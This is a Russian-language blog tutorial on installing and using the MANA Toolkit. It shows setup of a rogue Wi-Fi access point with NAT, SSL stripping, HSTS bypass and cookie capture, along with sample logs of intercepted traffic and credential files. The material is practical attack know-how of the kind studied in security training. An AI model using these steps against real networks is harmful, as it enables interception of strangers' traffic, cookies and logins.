Примеры практического применения Mana Toolkit в Wifi сетях.

 The MANA Toolkit — это модифицированный hostapd (программная точка доступа) и несколько скриптов, которые позволяют делать всякое с текстом, паролями, логинами, серитфикатами и прочими байтами, которые пользователь посылает в сеть через wifi, создавать и использовать фейковые АР и т.д.
Примеры практического применения Mana Toolkit в Wifi сетях.

Впервые об инструменте объявили на DEFCON 22 его создатели, компания SensePost, в докладе «Manna from Heaven: Improvements in Rogue AP Attacks». (Ian de Villiers и Dominic White). Название MANA Toolkit сокращение от «MitM and Authenticated Network Attack toolkit»

Что умеет делать

  • усовершенствованную, снова работающую KARMA-attack
  • rogue AP — фейковую точку доступа
  • различные MitM-атаки
  • обход HSTS
  • захват cookies
  • перехват EAP

Установка Mana Toolkit

Есть несколько способов установки mana toolkit.
Самый простой из репозитория kali — deb http://http.kali.org/kali kali main non-free contrib,
стандартно: apt-get install mana-toolkit
Или скачать zip из github, распаковать и запустить скрипт установки kali-install.sh или ubuntu-install.sh. После запуска скрипт выдаст предложение не делать этого:

[+] This is not a very good installer, it makes a lot of assumptions
[+] It assumes you are running Kali
[+] If you are worried about that, hit Ctl-C now, or hit Enter to continue

если нас это «беспокоит» :), то жмем ctrl+c и выбираем другой способ, например, клонировать git и скомпилировать. При этом может потребоваться поставить дополнительные библиотеки. Мне на kali 2.0 потребовалось установить:

apt-get install libcurl4-openssl-dev
apt-get install libssl-dev
apt-get install libnl-3-dev
apt-get install libnl-genl-3-dev

Для сборки и установки делаем следующее:

git clone --depth 1 https://github.com/sensepost/mana
cd mana
git submodule init
git submodule update
make
make install

В случае возникновения ошибок компиляции, установите библиотеки из списка выше. Вообще зависимости можно посмотреть в файле kali-install.sh

[ad name=»Responbl»]

Как устроена Mana Toolkit

Mana-toolkit установится в
/usr/share/mana-toolkit — это основная директория установки.
/usr/share/mana-toolkit/run-mana — директория содержит скрипты запуска
/etc/mana-toolkit/ — конфигурационные файлы
/var/lib/mana-toolkit — логи

Инструмент состоит из нескольких компонентов, реализующих различные возможности mana:
firelamb — переделанный на python firesheep для захвата cookies
sslstrip-hsts — модуль для обхода HSTS
crackapd — скрипт для работы с EAP
Для работы mana необходима карта wifi, поддерживающая режим "access point"/"master". Проверить свою карту можно с помощью команды iw list, в stdout должно быть AP
Что-то вроде:

Supported interface modes:
    * IBSS
    * managed
    * AP
    * AP/VLAN
    * monitor
    * mesh point

Для запуска и управления mana в /usr/share/mana-toolkit/run-mana содержится несколько стандартных скриптов, которые можно использовать как есть либо создавать свои на их основе.

[ad name=»Responbl»]

Основные скрипты:
start-nat-full.sh — поднимает фейковую AP с NAT со всеми, как выразились разработчики — «MITM свистелками и перделками».
start-nat-simple.sh — поднимает только фейковую AP c NAT
start-noupstream.sh — AP без выхода в интернет. Можно использовать для перенаправления трафика на внешний инструмент (metasploit?)
start-noupstream-eap.sh — AP без выхода в интернет для атаки на EAP.
есть еще несколько, но, например, mana-menu.sh у меня не запустился из-за синтаксической ошибки.

Настройка производится путем редактирования скриптов запуска и конфигурационных файлов из /etc/mana-toolkit/
Например, чтобы поменять название создаваемой AP для start-nat-full.sh, нужно в файле hostapd-karma.conf задать параметр ssid:

interface=wlan0
bssid=00:11:22:33:44:00
driver=nl80211
ssid=Internet
channel=6
...

но чтобы поменять интерфейс нужно менять его и в start-nat-full.sh (параметр phy), и в hostapd-karma.conf (параметр interface):

interface=wlan0
bssid=00:11:22:33:44:00
driver=nl80211
ssid=Internet
channel=6
...
upstream=eth0
phy=wlan0
conf=/etc/mana-toolkit/hostapd-karma.conf
hostapd=/usr/lib/mana-toolkit/hostapd
...

Не самый удобный способ настройки.

[ad name=»Responbl»]

Пример использования Mana Toolkit

Для примера работы создадим AP за NAT и поснифаем трафик.
Для начала отключим KARMA-attack в файле hostapd-karma.conf чтобы mana не создавала фейки на все, что услышит:

...
# Enable karma mode
#enable_karma=1
enable_karma=0
...

установим параметр enable_karma равным 0
Там же укажем какие интерфейсы для чего использовать. (Я использовал wlan0 для rouge AP и wlan1 для выхода в интернет)
С этим, кстати, не все так пушисто, как хотелось бы.
Cкрипт запуска останавливает службу NetworkManager. Как это обойти описано тут. Добавим mac нашей карты AP в исключения NetworkManager. Так же закомментим (#) строку service network-manager stop:

...
sleep 2

#service network-manager stop
rfkill unblock wlan
...

Это нужно для того, что бы корректно и автоматически сделался NAT.

Далее укажем в start-nat-full.sh какие интерфейсы будем использовать:

#!/bin/bash

upstream=wlan1
phy=wlan0
...

И запускаем скрипт start-nat-full.sh
Инициализация:

root@kali:/usr/share/mana-toolkit/run-mana# ./start-nat-full.sh 
hostname WRT54G
Current MAC:   00:11:22:33:44:00 (CIMSYS Inc)
Permanent MAC: xx:xx:xx:xx:xx:xx (TP-LINK TECHNOLOGIES CO.,LTD.)
.......
.......
MANA (FireLamb) : [+] Listening for cookie traffic on interface wlan0

sslstrip 0.9 + by Moxie Marlinspike running...
+ POC by Leonardo Nve

Теперь у нас есть новая AP, как у всех, но с сюрпризом 🙂

ap_inet

выше в конфиге hostapd-karma.conf видно, как называется AP.

Все, теперь можем подключиться к нашей AP и посмотреть на результат:

wlan0: STA xx:xx:xx:xx:xx:xx IEEE 802.11: authenticated
wlan0: STA xx:xx:xx:xx:xx:xx IEEE 802.11: associated (aid 1)
wlan0: AP-STA-CONNECTED xx:xx:xx:xx:xx:xx

Все что захватывает mana она кладет в директорию /var/lib/mana-toolkit:

root@WRT54G:/var/lib/mana-toolkit# ls -l
total 548
drwxr-xr-x 3 root root   4096 Nov  5 22:58 lamb_braai
...
-rw-r--r-- 1 root root   1427 Nov  5 22:59 net-creds.log.1446753361
-rw-r--r-- 1 root root   3968 Nov  5 23:42 net-creds.log.1446755891
drwxr-xr-x 2 root root  20480 Nov  5 23:42 sslsplit
...
-rw-r----- 1 root root      0 Nov  5 22:56 sslsplit-connect.log.1446753361
-rw-r----- 1 root root      0 Nov  5 23:38 sslsplit-connect.log.1446755891
...
-rw-r--r-- 1 root root 146870 Nov  5 22:58 sslstrip.log.1446753361
-rw-r--r-- 1 root root 251261 Nov  5 23:42 sslstrip.log.1446755891

Для эксперимента зайдем на всем известный сайт — bash.im и вот что мы получим в stdout и логах:

2015-11-05 23:42:11,224 Sending Request: GET /
2015-11-05 23:42:11,224 Sending header: content-length : 0
2015-11-05 23:42:11,224 Sending header: accept-language : ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
2015-11-05 23:42:11,225 Sending header: host : bash.im
2015-11-05 23:42:11,225 Sending header: accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
2015-11-05 23:42:11,225 Sending header: user-agent : Mozilla/5.0 (Linux; Android 4.4.2; ASUS_T00J Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.76 Mobile Safari/537.36
2015-11-05 23:42:11,225 Sending header: connection : keep-alive
...
2015-11-05 23:42:11,226 Sending header: upgrade-insecure-requests : 1

Само собой это только малое из того, что умеет делать mana-toolkit.

Click to rate this post!
[Total: 22 Average: 3]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.